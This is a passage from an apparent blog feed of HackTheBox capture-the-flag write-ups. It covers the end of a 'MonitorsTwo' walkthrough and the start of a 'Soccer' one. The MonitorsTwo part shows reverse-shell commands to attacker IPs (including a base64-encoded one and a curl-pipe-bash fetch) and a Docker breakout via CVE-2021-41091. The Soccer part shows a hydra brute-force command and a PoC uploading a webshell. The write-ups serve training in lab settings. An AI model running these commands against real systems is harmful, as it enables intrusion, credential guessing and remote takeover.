  │   ├─  1785 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.3/5577 0&gt;<span class="err">&amp;</span>1'
  │   ├─  1787 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.3/5577 0&gt;<span class="err">&amp;</span>1
  │   ├─  1788 bash -i
  │   ├─  1790 script -qc /bin/bash /dev/null
  │   ├─  1791 sh -c /bin/bash
  │   ├─  1792 /bin/bash
  │   ├─  2091 /bin/bash
  │   ├─  2093 /bin/bash
  │   ├─  2095 /bin/bash
  │   ├─  2194 bash -p
  │   ├─  2367 apache2 -DFOREGROUND
  │   ├─  2391 apache2 -DFOREGROUND
  │   ├─  2393 apache2 -DFOREGROUND
  │   ├─  2515 php
  │   ├─  2544 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.3/5577 0&gt;<span class="err">&amp;</span>1'
  │   ├─  2546 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.3/5577 0&gt;<span class="err">&amp;</span>1
  │   ├─  2547 bash -i
  │   ├─  2554 script -qc /bin/bash /dev/null
  │   ├─  2555 sh -c /bin/bash
  │   ├─  2556 /bin/bash
  │   ├─  2615 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.38/4444 0&gt;<span class="err">&amp;</span>1'
  │   ├─  2617 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.38/4444 0&gt;<span class="err">&amp;</span>1
  │   ├─  2618 bash -i
  │   ├─  2880 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.42/789 0&gt;<span class="err">&amp;</span>1'
  │   ├─  2882 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.42/789 0&gt;<span class="err">&amp;</span>1
  │   ├─  2883 bash -i
  │   ├─  3391 bash -p
  │   ├─  3436 script /dev/null -c bash
  │   ├─  3437 sh -c bash
  │   ├─  3438 bash
  │   ├─  3918 apache2 -DFOREGROUND
  │   ├─  3965 apache2 -DFOREGROUND
  │   ├─  4074 apache2 -DFOREGROUND
  │   ├─  4082 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.47/1337 0&gt;<span class="err">&amp;</span>1'
  │   ├─  4084 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.47/1337 0&gt;<span class="err">&amp;</span>1
  │   ├─  4085 bash -i
  │   ├─  5077 /bin/bash
  │   ├─  5162 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ; /bin/sh -c "bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.51/4444 0&gt;<span class="err">&amp;</span>1'"
  │   ├─  5164 /bin/sh -c bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.51/4444 0&gt;<span class="err">&amp;</span>1'
  │   ├─  5165 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.51/4444 0&gt;<span class="err">&amp;</span>1
  │   ├─  5166 bash -i
  │   ├─  6537 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.122/9876 0&gt;<span class="err">&amp;</span>1'
  │   ├─  6539 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.122/9876 0&gt;<span class="err">&amp;</span>1
  │   ├─  6540 bash -i
  │   ├─ 38062 sh -p
  │   ├─ 38063 bash -p
  │   ├─ 38066 sh -p
  │   ├─ 38358 apache2 -DFOREGROUND
  │   ├─ 38485 apache2 -DFOREGROUND
  │   ├─ 38514 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.62/9999 0&gt;<span class="err">&amp;</span>1'
  │   ├─ 38516 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.62/9999 0&gt;<span class="err">&amp;</span>1
  │   ├─ 38517 bash -i
  │   ├─ 38532 apache2 -DFOREGROUND
  │   ├─ 38536 /bin/bash
  │   ├─ 38662 mysql --host=db --user=root --password=x xx
  │   ├─ 38851 apache2 -DFOREGROUND
  │   ├─ 38984 apache2 -DFOREGROUND
  │   ├─ 39044 apache2 -DFOREGROUND
  │   ├─ 39108 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.42/789 0&gt;<span class="err">&amp;</span>1'
  │   ├─ 39110 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.42/789 0&gt;<span class="err">&amp;</span>1
  │   ├─ 39111 bash -i
  │   ├─ 39225 mysql --host=db --user=root -p
  │   ├─ 39267 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.123/7474 0&gt;<span class="err">&amp;</span>1'
  │   ├─ 39269 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.123/7474 0&gt;<span class="err">&amp;</span>1
  │   ├─ 39270 bash -i
  │   ├─ 56025 apache2 -DFOREGROUND
  │   ├─ 56059 apache2 -DFOREGROUND
  │   ├─ 56100 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.42/789 0&gt;<span class="err">&amp;</span>1'
  │   ├─ 56102 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.42/789 0&gt;<span class="err">&amp;</span>1
  │   ├─ 56103 bash -i
  │   ├─ 56104 bash -p
  │   ├─ 56118 /bin/bash
  │   ├─ 56120 script /dev/null -c bash
  │   ├─ 56121 sh -c bash
  │   ├─ 56122 bash
  │   ├─ 56127 bash -p
  │   ├─ 56247 mysql --host=db --user=root --password=x xx cacti
  │   ├─ 56273 apache2 -DFOREGROUND
  │   ├─ 56302 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.42/789 0&gt;<span class="err">&amp;</span>1'
  │   ├─ 56304 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.16.42/789 0&gt;<span class="err">&amp;</span>1
  │   ├─ 56305 bash -i
  │   ├─ 56306 bash -p
  │   ├─ 56309 script /dev/null -c bash
  │   ├─ 56310 sh -c bash
  │   ├─ 56311 bash
  │   ├─ 56313 bash -p
  │   ├─ 68453 apache2 -DFOREGROUND
  │   ├─ 90678 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime 1;echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMTM0LzQ0NDMgPCYxJw== | base64 -d | bash -
  │   ├─ 90682 bash -
  │   ├─ 90683 bash -i
  │   ├─ 90783 apache2 -DFOREGROUND
  │   ├─ 90784 apache2 -DFOREGROUND
  │   ├─ 90836 apache2 -DFOREGROUND
  │   ├─ 90837 apache2 -DFOREGROUND
  │   ├─108209 apache2 -DFOREGROUND
  │   ├─123697 apache2 -DFOREGROUND
  │   ├─127658 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime 1;echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMTUwLzQ0NDMgPCYxJw== | base64 -d | bash -
  │   ├─127662 bash -
  │   ├─127663 bash -i
  │   ├─127698 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ; /bin/sh -c "curl 10.10.14.96:777/shell.sh|bash"
  │   ├─127663 bash -i
  │   ├─127698 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ; /bin/sh -c "curl 10.10.14.96:777/shell.sh|bash"
  │   ├─127700 /bin/sh -c curl 10.10.14.96:777/shell.sh|bash
  │   ├─127702 bash
  │   ├─127703 bash -i
  │   ├─127705 apache2 -DFOREGROUND
  │   ├─127706 /bin/bash
  │   └─127711 apache2 -DFOREGROUND
  └─system.slice 
    ├─containerd.service 
    │ ├─ 897 /usr/bin/containerd
    │ ├─1234 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69 -address /run/containerd/containerd.sock
    │ └─1347 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e -address /run/containerd/containerd.sock
    ├─docker.service 
    │ ├─ 883 /usr/sbin/dockerd -H fd://
    │ └─1332 /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.3 -container-port 80
</code></pre></div>        </div>

        <p>The commands of the other players given inside the container containing the php web app are visible! XD</p>
      </li>
    </ul>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Mails (limit 50)
   4721      4 -rw-r--r--   1 root     mail         1809 Oct 18  2021 /var/mail/marcus                                                                                                                                                    
   4721      4 -rw-r--r--   1 root     mail         1809 Oct 18  2021 /var/spool/mail/marcus
</code></pre></div>    </div>

    <ul>
      <li><code class="language-html highlighter-rouge">cat /var/mail/marcus</code>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  From: administrator@monitorstwo.htb
  To: all@monitorstwo.htb
  Subject: Security Bulletin - Three Vulnerabilities to be Aware Of

  Dear all,

  We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.

  CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.

  CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.

  CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.

  We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.

  Best regards,

  Administrator
  CISO
  Monitor Two
  Security Team
</code></pre></div>        </div>

        <ul>
          <li><code class="language-html highlighter-rouge">uname -r</code>
            <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  5.4.0-147-generic
</code></pre></div>            </div>
          </li>
          <li><code class="language-html highlighter-rouge">docker -v</code>
            <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Docker version 20.10.5+dfsg1, build 55c4c88
</code></pre></div>            </div>

            <p>it’s vulnerable!</p>
          </li>
        </ul>
      </li>
    </ul>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
  ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
    
  /dev/mqueue
  /dev/shm
  /home/marcus
  /run/lock
  /run/screen
  /run/user/1000
  /run/user/1000/gnupg
  /run/user/1000/inaccessible
  /run/user/1000/systemd
  /run/user/1000/systemd/units
</code></pre></div>    </div>
  </li>
  <li>
    <p>Exploit the CVE-2021-41091 vulnerability: https://github.com/UncleJ4ck/CVE-2021-41091</p>

    <ul>
      <li>I download <code class="language-html highlighter-rouge">exp.sh</code> from my host and run it as marcus
  -
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  [!] Vulnerable to CVE-2021-41091
  [!] Now connect to your Docker container that is accessible and obtain root access !
  [&gt;] After gaining root access execute this command (chmod u+s /bin/bash)
</code></pre></div>        </div>
      </li>
      <li>I rerun <a href="https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit">https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit</a> to get a shell inside the container</li>
      <li>I become root of the container: <code class="language-html highlighter-rouge">capsh --gid=0 --uid=0 --</code></li>
      <li>I execute the given command: <code class="language-html highlighter-rouge">chmod u+s /bin/bash</code></li>
      <li>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
</code></pre></div>        </div>

        <p><code class="language-html highlighter-rouge">yes</code></p>
      </li>
      <li>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged

[!] Iterating over the available Overlay2 filesystems !
[?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'

[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Rooted !
[&gt;] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'

[!] Spawning Shell
bash-5.1# exit
</code></pre></div>        </div>
      </li>
      <li><code class="language-html highlighter-rouge">cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged <span class="err">&amp;&amp;</span> ./bin/bash -p</code> -&gt; rooted!</li>
    </ul>
  </li>
  <li>
    <p>Here’s what was behind this docker container:</p>
    <ul>
      <li><code class="language-html highlighter-rouge">cat /root/cacti/docker-compose.yml</code>
        <div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="na">version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2'</span>
  <span class="na">services</span><span class="pi">:</span>
  <span class="na">web</span><span class="pi">:</span>
      <span class="na">image</span><span class="pi">:</span> <span class="s">cacti:latest</span>
      <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">127.0.0.1:8080:80"</span>
      <span class="na">depends_on</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">db</span>
      <span class="na">entrypoint</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">bash</span>
      <span class="pi">-</span> <span class="s">/entrypoint.sh</span>
      <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">./entrypoint.sh:/entrypoint.sh</span>
      <span class="na">command</span><span class="pi">:</span> <span class="s">apache2-foreground</span>
      <span class="na">cap_drop</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">mknod</span>
      <span class="pi">-</span> <span class="s">dac_override</span>
  <span class="na">db</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">mysql:5.7</span>
  <span class="na">environment</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">MYSQL_ROOT_PASSWORD=root</span>
      <span class="pi">-</span> <span class="s">MYSQL_DATABASE=cacti</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
</ul>]]></content><author><name>Federico Fantini</name></author><category term="Writeups" /><category term="HackTheBox" /><category term="CTF" /><category term="Cacti-1.2.22" /><category term="CVE-2022-46169" /><category term="Docker-Container-Breakout" /><category term="Docker-Enumeration" /><category term="Brute-Force" /><category term="Docker-20.10.5" /><category term="CVE-2021-41091" /><summary type="html"><![CDATA[INDEX INDEX Enumeration Docker container breakout Privesc www-data Privesc marcus]]></summary></entry><entry><title type="html">Soccer writeup</title><link href="https://federicofantini.github.io/blog/2023/05/02/Soccer.html" rel="alternate" type="text/html" title="Soccer writeup" /><published>2023-05-02T00:00:00+02:00</published><updated>2023-05-02T00:00:00+02:00</updated><id>https://federicofantini.github.io/blog/2023/05/02/Soccer</id><content type="html" xml:base="https://federicofantini.github.io/blog/2023/05/02/Soccer.html"><![CDATA[<h1 id="index">INDEX</h1>
<ul>
  <li><a href="#index">INDEX</a>
    <ul>
      <li><a href="#enumeration">Enumeration</a></li>
      <li><a href="#privesc-www-data">Privesc www-data</a></li>
      <li><a href="#privesc-player">Privesc player</a></li>
    </ul>
  </li>
</ul>

<p><br /><br /></p>

<p><img src="/blog/assets/images/machines/Soccer/Soccer.png" alt="Soccer box HTB" /></p>

<h2 id="enumeration">Enumeration</h2>

<ul>
  <li><code class="language-html highlighter-rouge">nmap -A -p- -T4 10.10.11.194</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
  |   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
  |_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
  80/tcp   open  http            nginx 1.18.0 (Ubuntu)
  |_http-title: Did not follow redirect to http://soccer.htb/
  |_http-server-header: nginx/1.18.0 (Ubuntu)
  9091/tcp open  xmltec-xmlmail?
  | fingerprint-strings: 
  |   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
  |     HTTP/1.1 400 Bad Request
  |     Connection: close
  |   GetRequest: 
  |     HTTP/1.1 404 Not Found
  |     Content-Security-Policy: default-src 'none'
  |     X-Content-Type-Options: nosniff
  |     Content-Type: text/html; charset=utf-8
  |     Content-Length: 139
  |     Date: Tue, 02 May 2023 17:47:26 GMT
  |     Connection: close
  |     <span class="cp">&lt;!DOCTYPE html&gt;</span>
  |     <span class="nt">&lt;html</span> <span class="na">lang=</span><span class="s">"en"</span><span class="nt">&gt;</span>
  |     <span class="nt">&lt;head&gt;</span>
  |     <span class="nt">&lt;meta</span> <span class="na">charset=</span><span class="s">"utf-8"</span><span class="nt">&gt;</span>
  |     <span class="nt">&lt;title&gt;</span>Error<span class="nt">&lt;/title&gt;</span>
  |     <span class="nt">&lt;/head&gt;</span>
  |     <span class="nt">&lt;body&gt;</span>
  |     <span class="nt">&lt;pre&gt;</span>Cannot GET /<span class="nt">&lt;/pre&gt;</span>
  |     <span class="nt">&lt;/body&gt;</span>
  |     <span class="nt">&lt;/html&gt;</span>
  |   HTTPOptions, RTSPRequest: 
  |     HTTP/1.1 404 Not Found
  |     Content-Security-Policy: default-src 'none'
  |     X-Content-Type-Options: nosniff
  |     Content-Type: text/html; charset=utf-8
  |     Content-Length: 143
  |     Date: Tue, 02 May 2023 17:47:26 GMT
  |     Connection: close
  |     <span class="cp">&lt;!DOCTYPE html&gt;</span>
  |     <span class="nt">&lt;html</span> <span class="na">lang=</span><span class="s">"en"</span><span class="nt">&gt;</span>
  |     <span class="nt">&lt;head&gt;</span>
  |     <span class="nt">&lt;meta</span> <span class="na">charset=</span><span class="s">"utf-8"</span><span class="nt">&gt;</span>
  |     <span class="nt">&lt;title&gt;</span>Error<span class="nt">&lt;/title&gt;</span>
  |     <span class="nt">&lt;/head&gt;</span>
  |     <span class="nt">&lt;body&gt;</span>
  |     <span class="nt">&lt;pre&gt;</span>Cannot OPTIONS /<span class="nt">&lt;/pre&gt;</span>
  |     <span class="nt">&lt;/body&gt;</span>
  |_    <span class="nt">&lt;/html&gt;</span>
  1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
  SF-Port9091-TCP:V=7.93%I=7%D=5/2%Time=64514CA8%P=x86_64-pc-linux-gnu%r(inf
  SF:ormix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\
  SF:n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x2
  SF:0close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\n
  SF:Content-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Opt
  SF:ions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCon
  SF:tent-Length:\x20139\r\nDate:\x20Tue,\x2002\x20May\x202023\x2017:47:26\x
  SF:20GMT\r\nConnection:\x20close\r\n\r\n<span class="nt">&lt;</span><span class="err">!</span><span class="na">DOCTYPE</span><span class="err">\</span><span class="na">x20html</span><span class="nt">&gt;</span>\n<span class="nt">&lt;html</span><span class="err">\</span><span class="na">x20lang=
  </span><span class="s">SF:\"en\"</span><span class="nt">&gt;</span>\n<span class="nt">&lt;head&gt;</span>\n<span class="nt">&lt;meta</span><span class="err">\</span><span class="na">x20charset=</span><span class="s">\"utf-8\"</span><span class="nt">&gt;</span>\n<span class="nt">&lt;title&gt;</span>Error<span class="nt">&lt;/title&gt;</span>\n<span class="nt">&lt;/h</span>
  <span class="err">SF:ead</span><span class="nt">&gt;</span>\n<span class="nt">&lt;body&gt;</span>\n<span class="nt">&lt;pre&gt;</span>Cannot\x20GET\x20/<span class="nt">&lt;/pre&gt;</span>\n<span class="nt">&lt;/body&gt;</span>\n<span class="nt">&lt;/html&gt;</span>\n")%r(HTT
  SF:POptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Poli
  SF:cy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nC
  SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r
  SF:\nDate:\x20Tue,\x2002\x20May\x202023\x2017:47:26\x20GMT\r\nConnection:\
  SF:x20close\r\n\r\n<span class="nt">&lt;</span><span class="err">!</span><span class="na">DOCTYPE</span><span class="err">\</span><span class="na">x20html</span><span class="nt">&gt;</span>\n<span class="nt">&lt;html</span><span class="err">\</span><span class="na">x20lang=</span><span class="s">\"en\"</span><span class="nt">&gt;</span>\n<span class="nt">&lt;head&gt;</span>\n<span class="nt">&lt;met</span>
  <span class="na">SF:a</span><span class="err">\</span><span class="na">x20charset=</span><span class="s">\"utf-8\"</span><span class="nt">&gt;</span>\n<span class="nt">&lt;title&gt;</span>Error<span class="nt">&lt;/title&gt;</span>\n<span class="nt">&lt;/head&gt;</span>\n<span class="nt">&lt;body&gt;</span>\n<span class="nt">&lt;pre&gt;</span>Ca
  SF:nnot\x20OPTIONS\x20/<span class="nt">&lt;/pre&gt;</span>\n<span class="nt">&lt;/body&gt;</span>\n<span class="nt">&lt;/html&gt;</span>\n")%r(RTSPRequest,16C,"HTT
  SF:P/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-sr
  SF:c\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20t
  SF:ext/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Tue,\x
  SF:2002\x20May\x202023\x2017:47:26\x20GMT\r\nConnection:\x20close\r\n\r\n<span class="nt">&lt;</span>
  <span class="nt">SF:</span><span class="err">!</span><span class="na">DOCTYPE</span><span class="err">\</span><span class="na">x20html</span><span class="nt">&gt;</span>\n<span class="nt">&lt;html</span><span class="err">\</span><span class="na">x20lang=</span><span class="s">\"en\"</span><span class="nt">&gt;</span>\n<span class="nt">&lt;head&gt;</span>\n<span class="nt">&lt;meta</span><span class="err">\</span><span class="na">x20charset=</span><span class="s">\"ut</span>
  <span class="na">SF:f-8</span><span class="err">\"</span><span class="nt">&gt;</span>\n<span class="nt">&lt;title&gt;</span>Error<span class="nt">&lt;/title&gt;</span>\n<span class="nt">&lt;/head&gt;</span>\n<span class="nt">&lt;body&gt;</span>\n<span class="nt">&lt;pre&gt;</span>Cannot\x20OPTIONS\x
  SF:20/<span class="nt">&lt;/pre&gt;</span>\n<span class="nt">&lt;/body&gt;</span>\n<span class="nt">&lt;/html&gt;</span>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\
  SF:x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,
  SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r
  SF:(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti
  SF:on:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
  SF:nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x2
  SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">gobuster dir -u http://soccer.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  /tiny                 (Status: 301) [Size: 178] [--&gt; http://soccer.htb/tiny/]
</code></pre></div>    </div>
  </li>
  <li>I open the site and find the software version:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"footer text-center"</span><span class="nt">&gt;</span>
      <span class="ni">&amp;mdash;&amp;mdash;</span> <span class="ni">&amp;copy;</span>
      <span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"https://tinyfilemanager.github.io/"</span> <span class="na">target=</span><span class="s">"_blank"</span> <span class="na">class=</span><span class="s">"text-muted"</span> <span class="na">data-version=</span><span class="s">"2.4.3"</span><span class="nt">&gt;</span>CCP Programmers<span class="nt">&lt;/a&gt;</span> <span class="ni">&amp;mdash;&amp;mdash;</span>
  <span class="nt">&lt;/div&gt;</span>
</code></pre></div>    </div>

    <p>This version is vulnerable to: <a href="https://github.com/BKreisel/CVE-2021-45010">CVE-2021-45010</a></p>

    <p>To exploit the vulnerability it is necessary to have a valid account, I have no credentials so I do a bruteforce attack:<br />
  <code class="language-html highlighter-rouge">hydra -l admin -P /usr/share/wordlists/rockyou.txt soccer.htb http-post-form "/tiny/tinyfilemanager.php:fm_usr=admin<span class="err">&amp;</span>fm_pwd=^PASS^:Login failed. Invalid username or password"</code></p>

    <p>Unfortunately I can’t find anything but if I change wordlist in <code class="language-html highlighter-rouge">/usr/share/wordlists/seclist/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt</code> I can find the password:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  [80][http-post-form] host: soccer.htb   login: admin   password: admin@123
</code></pre></div>    </div>

    <p>Opening the site <a href="http://soccer.htb/tiny/tinyfilemanager.php?p=&amp;upload">http://soccer.htb/tiny/tinyfilemanager.php?p=&amp;upload</a> I see that:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Destination Folder: /var/www/html/ 
</code></pre></div>    </div>

    <p>Now I can perform the attack:<br />
  <code class="language-html highlighter-rouge">cve-2021-45010 -u http://soccer.htb/tiny/ -l admin -p admin@123 -g tiny/uploads -r uploads/</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  PoC for CVE-2021-45010 - Tiny File Manager Version <span class="nt">&lt;</span> <span class="err">2.4.7</span>

  <span class="err">[</span><span class="na">*</span><span class="err">]</span> <span class="na">Attempting</span> <span class="na">Login:</span>
          <span class="err">[</span><span class="na">*</span><span class="err">]</span> <span class="na">URL</span>      <span class="na">:</span> <span class="na">http:</span><span class="err">//</span><span class="na">soccer.htb</span><span class="err">/</span><span class="na">tiny</span><span class="err">/</span>
          <span class="err">[</span><span class="na">*</span><span class="err">]</span> <span class="na">Username</span> <span class="na">:</span> <span class="na">admin</span>
          <span class="err">[</span><span class="na">*</span><span class="err">]</span> <span class="na">Password</span> <span class="na">:</span> <span class="na">admin</span><span class="err">@123</span>
  <span class="err">[+]</span> <span class="na">Session</span> <span class="na">Cookie</span> <span class="err">🍪</span><span class="na">:</span> <span class="na">q4863ddhm6fhqa6bvpj6pgsqqv</span>
  <span class="err">[+]</span> <span class="na">Login</span> <span class="na">Success</span><span class="err">!</span>
  <span class="err">[+]</span> <span class="na">Vulnerable</span> <span class="na">version</span> <span class="na">detected:</span> <span class="err">2.4.3</span>
  <span class="err">[</span><span class="na">*</span><span class="err">]</span> <span class="na">Attempting</span> <span class="na">to</span> <span class="na">Leak</span> <span class="na">Web</span> <span class="na">Root...</span>
          <span class="err">[+]</span> <span class="na">Got</span> <span class="na">Web</span> <span class="na">Root:</span> <span class="err">/</span><span class="na">var</span><span class="err">/</span><span class="na">www</span><span class="err">/</span><span class="na">html</span><span class="err">/</span><span class="na">tiny</span>
  <span class="err">[</span><span class="na">*</span><span class="err">]</span> <span class="na">Attempting</span> <span class="na">Webshell</span> <span class="na">Upload:</span>
  <span class="err">[</span><span class="na">*</span><span class="err">]</span> <span class="na">Filename</span> <span class="na">:</span> <span class="na">yllcuaazec.php</span>
